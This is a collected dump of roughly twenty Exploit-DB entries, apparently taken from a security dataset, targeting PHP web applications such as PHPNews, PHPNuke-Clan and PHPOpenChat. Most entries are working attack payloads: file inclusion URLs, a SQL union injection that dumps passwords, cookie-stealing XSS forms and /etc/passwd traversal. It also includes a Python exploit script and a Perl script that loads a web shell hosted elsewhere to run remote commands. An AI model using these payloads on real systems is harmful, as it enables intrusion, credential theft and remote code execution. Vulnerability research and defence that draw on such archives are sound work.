deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9611
Description: PHPNagios 1.2.0 - 'menu.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-09-09
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------
phpNagios v 1.2.0 (menu.php) LFI Vulnerability
-------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu[at]windowslive[dot]com
 
Script Download: http://sourceforge.net/projects/phpnagios/
 
-------------------------------------------------------------------------------------
 
EXPLOÄ°T:
 
http://localhost/[PATH]/menu.php?conf[lang]= [LFÄ°]
 
-------------------------------------------------------------------------------------
 
BUG
Line 28:        include_once("lib/lang/".$conf['lang']."/menu.php");
 
-------------------------------------------------------------------------------------

# milw0rm.com [2009-09-09]
Exploit-DB #2323
Description: PhpNews 1.0 - 'Include' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: the master

Exploit:
########################################################################
#  PhpNews v1.0  Remote File Inclusion Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/36_phpnews-10.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/Include/lib.inc.php3?Include=http://cmd.gif?
#  http://[Target]/[Path]/Include/variables.php3?Include=http://cmd.gif?
########################################################################

# milw0rm.com [2006-09-07]
Exploit-DB #25180
Description: PHPNews 1.2.3/1.2.4 - 'auth.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-01
Author: mozako

Exploit:
source: https://www.securityfocus.com/bid/12696/info

It is reported that PHPNews is affected by a remote PHP file include vulnerability. This issue is due in part to the application failing to properly sanitize user-supplied input.

This issue reportedly affects PHPNews version 1.2.4, previous versions might also be affected. 

#!/usr/bin/python
# PHP News 1.2.4 remote file inclusion exploit
# Coded by: mozako - mozako [at] mybox [dot] it
# Vuln. Discovered by: Filip Groszynski
# 3.3.2005
#
# (C) 2005 badroot security

import urllib2
import sys
__argv__ = sys.argv
def usage():
   print "PHP News 1.2.4 remote file inclusion exploit \nby:
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p
/PHP_News_Path/ -u http://filetoupload"
   sys.exit(-1)
if len(__argv__) < 2:
   usage()
try:
   global host
   global path
   global url
   host = __argv__[2]
   path = __argv__[4]
   url = __argv__[6]
except IndexError:
       usage()
def hack():
   try:
       print "[X] Connecting...",
       urllib2.urlopen(host + path + "auth.php?path=" + url)
       print "[OK]"
       print "[X] Sending exploit...", "[OK]"
       print "[X] File sended !"
   except urllib2.HTTPError:
       print "[Failed]"
   except urllib2.httplib.InvalidURL:
       print "[Bad host]\nis there http:// ? :)"
   except ValueError:
       print "[Bad host]\nis there http:// ? :)"
hack()
# eof
Exploit-DB #26016
Description: PHPNews 1.2.x - 'auth.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-07-20
Author: GHC

Exploit:
source: https://www.securityfocus.com/bid/14333/info

PHPNews is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

Navigate to the user logon form.

Enter the following string into the Username field:

anything' or '1'='1'/*

followed by any characters in the Password field.
Exploit-DB #29218
Description: PHPNews 1.3 - 'Link_Temp.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-02
Author: Detefix

Exploit:
source: https://www.securityfocus.com/bid/21404/info

PHPNews is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 1.3.0; other versions may also be vulnerable.

http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?url=">[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?id=">[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?subject=[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?username=[XSS]
http://www.example.com/[path-to-PHPNews]/templates/link_temp.php?time=[XSS]
Exploit-DB #23742
Description: phpNewsManager 1.36 - functions Script File Disclosure
Type: webapps
Platform: php
Date: 2004-02-23
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9720/info

phpNewsManager is prone to a file disclosure vulnerability. Remote attackers may submit malicious requests to the software that contain directory traversal sequences, potentially exposing sensitive resources outside of the hosting web server root.

http://www.example.com/functions.php?clang=../../../[existing_file]
Exploit-DB #4339
Description: PHPNS 1.1 - 'shownews.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-29
Author: SmOk3

Exploit:
PHPNS SQL Injection

Software: phpns current version (v1.1)
Vendor link: http://phpns.com
Attack: SQL Injection

Original advisory: http://14house.blogspot.com/2007/08/phpns-sql-injection.html

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information. Vulnerable variable is $nid and maybe
others.

Proof of Concept:
/phpns/shownews.php?id=1'[SQL Injection]

Shows username : pass from userinfo
/phpns/shownews.php?id=1' union select all
null,null,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),null,null,null
from userinfo/*


Solution:

Your script should filter metacharacters from user input.

Vendor:

Contacted and replyed that they are fixing it.

# milw0rm.com [2007-08-29]
Exploit-DB #1630
Description: PHPNuke-Clan 3.0.1 - 'vwar_root2' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-01
Author: uid0

Exploit:
#!/usr/bin/perl
##
# PHPNuke-Clan 3.0.1 Remote File Inclusion Exploit
# Bug Found By uid0 code by zod
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl pnc.pl <location of PNC> <cmd shell location> <cmd shell variable>
#
# perl pnc.pl http://site.com/PNC/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
	print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'modules/vWar_Account/includes/functions_common.php?vwar_root2='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)



{
	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";
	last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " 	   *PHPNuke-Clan 3.0.1 Remote File Inclusion Exploit*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl pnc.pl <location of PNC> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to PNC ex: http://www.site.com/PNC/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		           Bug Found by uid0\r\n";
 print "	www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-01]
Exploit-DB #4333
Description: PHPNuke-Clan 4.2.0 - 'mvcw_conver.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-28
Author: DNX

Exploit:
                                  \#'#/
                                  (-.-)
   --------------------------oOO---(_)---OOo-------------------------
   | PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion |
   |                          coded by DNX                          |
   ------------------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.phpnuke-clan.net
[!] Detected: 11.08.2007
[!] Reported: 11.08.2007
[!] Remote: yes

[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL

[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php

[!] PoC:
    - http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]

[!] Example:
    - http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
    vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
    - replace:
	if ($GPC['step'] == 1)
	{
		// clean tables

    - with:
	if ($GPC['step'] == 1)
	{
		$vwar_root = "./../";
		// clean tables

# milw0rm.com [2007-08-28]
Exploit-DB #6563
Description: PHPOCS 0.1-beta3 - 'act' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-25
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################################
 #  [ phpOCS <= 0.1-beta3 ]   Local File Inclusion Vulnerability   #
 ###################################################################
 #
 # Script: "phpOCS is a fully featured Online Community System. It has fully customisable message boards, calendars, galleries and articles."
 #
 # Script site: http://phpocs.sourceforge.net/
 # Download: http://sourceforge.net/projects/phpocs/
 #
 # Vuln: 
 # http://site.com/[phpocs-0.1-beta3]/index.php?act=../../../../../../../etc/passwd%00
 #     
 #
 # Bug: ./phpocs-0.1-beta3/index.php (lines: 7 and 9)
 #
 # ...
 # 7:     include("library/include.inc.php");   	// (1);
 # 9:     makepage();					// (2);
 # ... 			    
 #
 #
 # Bug: ./phpocs-0.1-beta3/library/pagefunctions.inc.php (lines: 3-104)
 #
 # ...
 # 3:     function makepage() {
 # ...    // (lines: 72-79)
 #   	if (isset($_GET['act']))
 #		{
 #		include("library/{$_GET['act']}.php"); 	// (3) LFI
 #		}
 #	else
 #		{
 #		include("library/home.php");
 #		}
 # ...
 # 104:   }
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25]
Exploit-DB #27881
Description: PHPODP 1.5 - 'ODP.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-15
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/17976/info

phpODP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


phpODP 1.5h is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/[path]/odp.php?browse=[code]

http://www.example.com/[path]/odp.php?browse="><script>alert("lol");</script>
Exploit-DB #4363
Description: PHPOF 20040226 - 'DB_adodb.class.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-04
Author: ThE TiGeR

Exploit:
#Phpof Remote file inclusion

#Download script : http://www.phpof.org/phpof-20040226.tar.bz2

#Thx Str0ke

#Exploit :

#http://victime.com/[phpof_path]/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=shell.txt?

#Discoverd by ThE TiGeR

#Miro_Tiger100[at]Hotmail.com

# milw0rm.com [2007-09-04]
Exploit-DB #1897
Description: phpOnDirectory 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-10
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  phpOnDirectory (CONST_INCLUDE_ROOT) <= v.1.0 Remote File Include Vulnerability
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[phpOnDirectory_path]/admin/generate_category_html.php?CONST_INCLUDE_ROOT=[evil_scripts]

http://www.site.com/[phpOnDirectory_path]/admin/generate_site_html.php?CONST_INCLUDE_ROOT=[evil_scripts]

http://www.site.com/[phpOnDirectory_path]/admin/index.php?CONST_INCLUDE_ROOT=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-10]
Exploit-DB #34555
Description: PhpOnlineChat 3.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-09-07
Author: N0 Feel

Exploit:
# Exploit Title: [phponlinechat xss ]
# Date: [5/9/2014]
# Exploit Author: [N0 Feel]
# Vendor Homepage: [http://phponlinechat.com/phpchat]
# Software Link: [http://phponlinechat.com/chat-free-download.php]
# Version: [3.0]
# Tested on: [win7]

php online chat suffer from xss in user panel

- register as user
- go to : http://path/phpchat/canned_opr.php
- inject javascript evil code into messae filed

demo  :
http://phponlinechat.com/phpchat/canned_opr.php

have fun :)
Exploit-DB #9583
Description: PHPope 1.0.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-09-03
Author: cr4wl3r

Exploit:
######################################################################
#[x] PHPope <= 1.0.0 Multiple Remote File Include Vulnerability                    	  
#[!] Download Script      :  http://sourceforge.net/projects/phpope/files/                      		  
#[!] Author               :  cr4wl3r                                   		  
#[!] Contact              :  cr4wl3r[4t]linuxmail[dot]org              		  
#[!] Location             :  Gorontalo - INDONESIA                     		  
#[!] Dork                 :  "FuCk y0u MaLaYsia"   		  
######################################################################

[x] 3xplo!t :                                                         		  
                                                                                  
http://localhost/[path]/plugins/address/admin/index.php?GLOBALS[config][dir][plugins]=[AvriLhea]     
http://localhost/[path]/plugins/im/compose.php?GLOBALS[config][dir][functions]=[AvriLhea]
http://localhost/[path]/plugins/cssedit/admin/index.php?GLOBALS[config][dir][classes]=[AvriLhea]


and many others

######################################################################
#[!] Greetz : MyMom [alm]  
#                                                                        
#[!] Special Thanks : str0ke, google, sourceforge, All MusLiM HacKers  
#
#[!] Thanks 2 : xoron, opt!x hacker, irvian, cyberlog
#
#[!] AlfaNet Cr3w GoRonTaLo : FaHry PunKs, RhyA HaMim, BoBy C00l, UyaN, ArYa.TaMa
#
#[!] My BiG BozZ MinJo.B0rj0e (YanG PunYa SepaRuH KaMpuNg Bugis, JaNgan LuPa Am-Am) :D
#
#[!] FuCk MaLaYsia, I HaTe MaLaYsia, h0w Ab0uT y0u??? 
#
#[!] sekuritionline.net | manadocoding.net                                          
######################################################################

# milw0rm.com [2009-09-03]
Exploit-DB #25229
Description: PHPOpenChat 2.3.4/3.0.1 - 'ENGLISH_poc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-15
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/12817/info
  
PHPOpenChat is prone to multiple remote file-include vulnerabilities.
  
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpnuke/ENGLISH_poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps
Exploit-DB #25228
Description: PHPOpenChat 2.3.4/3.0.1 - 'poc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-15
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/12817/info
 
PHPOpenChat is prone to multiple remote file-include vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpnuke/poc.php?poc_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps

http://www.example.com/phpopenchat/contrib/yabbse/poc.php?sourcedir=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps
Exploit-DB #25227
Description: PHPOpenChat 2.3.4/3.0.1 - 'poc_loginform.php?phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-15
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/12817/info

PHPOpenChat is prone to multiple remote file-include vulnerabilities.

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PHPOpenChat 3.0.1 and prior versions are reported prone to this issue. 

http://www.example.com/phpopenchat/contrib/phpbb/alternative2/phpBB2_root/poc_loginform.php?phpbb_root_path=http://www.example.com/asc?&cmd=uname%20-a;w;id;pwd;ps
Exploit-DB #25236
Description: PHPOpenChat 3.0.1 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-18
Author: PersianHacker Team

Exploit:
source: https://www.securityfocus.com/bid/12841/info

PHPOpenChat is reportedly affected by multiple remote HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<html>
<head>
<title>PHPOpenChat v3.x XSS Exploit</title>
</head>
<body>
<h1>PHPOpenChat v3.x XSS Exploit</h1>
<form method="POST" action="http://www.example.com/regulars.php">
  <b>XSS in regulars.php:</b><p>
  <input type="text" name="chatter" size="48" value="XSS Injection
Code"></p>
  </p>
  <p>exmple:
<script>document.write(document.cookie)</script></p>
  <p><input type="submit" style="width:80px" value="Excute" name="B1"></p>
</form>
<form method="POST" action="http://www.example.com/register.php">
  <b>XSS in register.php:</b><p>
  Nikname:
  <input type="text" name="chatter" size="48" value="XSS Injection
Code"></p>
  <p>
  Password:
  <input type="text" name="chatter1" size="48" value="XSS Injection
Code"></p>
  <p>
  FirstName LastName:
  <input type="text" name="chatter2" size="48" value="XSS Injection
Code"></p>
  <p>
  Email:
  <input type="text" name="chatter3" size="48" value="XSS Injection
Code"></p>
  <p>
  Url of picture:
  <input type="text" name="chatter4" size="48" value="XSS Injection
Code"></p>
  </p>
  <p>exmple:
<script>document.write(document.cookie)</script></p>
  <p><input type="submit" style="width:80px" value="Excute" name="B1"></p>
</form>
<p>&nbsp;</p>
<p align="center"><a
href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>
</body>
</html>
Exploit-DB #10592
Description: PHPOPENCHAT 3.0.2 - Cross-Site Scripting AND/OR FPD
Type: webapps
Platform: php
Date: 2009-12-21
Author: Dedalo

Exploit:
The PoC:

1.- Preview

This web APP is Vulnerable to xss in its instalation file but you can  
misconfigurate all the
code with this bug also, you must see to understand...


2.- Vulnerable Code

function database_setup(){


   if( isset($_POST['form_data']) ){

  $host = (string) $_POST['DATABASE_HOST'];

     $user = (string) $_POST['DATABASE_USER'];

     $pass = (string) $_POST['DATABASE_PASSWORD'];

     $tabl = (string) $_POST['DATABASE_TABLESPACE'];

    $prefix = (string) $_POST['DATABASE_TABLE_PREFIX'];





3.- Expl0tation
First Bug its where you just post data without nothing in security so  
you can put in the
host textbox on the install.php?step=2 ">  
in which usually
is written localhost and in other .php files (install.php) they show  
$host so the Xss its
notable...


4.- More Vuln Code...


     $this->set_conf_property('DATABASE_HOST', $host);


you may think theres no problem with this step but...
if you write the DATABSE_HOST with host being explotated it could  
be...interesting...


5.- MORE

define('DATABASE_HOST', 'localhost');


This is the execelent example to show you how it can work like a PHP DROP...

just put something like "> in the  
DATABASE_HOST textbox

and excecute, just refresh and...

Path Disclosure...

\openchat\config.inc.php on line 135

6.- Gr33tz:

http://www.seguridadblanca.org - WCuestas - Chelano - Perverths0 -  
SeguridadBlanca READERS
- Exploit-DB && FRIENDS =)


====================
31337 HAPPY HACKING
====================